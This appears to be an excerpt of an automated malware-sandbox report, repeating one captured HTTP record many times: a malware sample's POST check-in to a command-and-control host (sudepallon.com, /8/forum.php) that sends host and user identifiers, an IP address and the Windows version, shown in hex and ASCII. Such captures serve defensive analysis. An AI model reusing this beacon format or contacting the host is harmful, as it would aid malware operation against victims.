Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
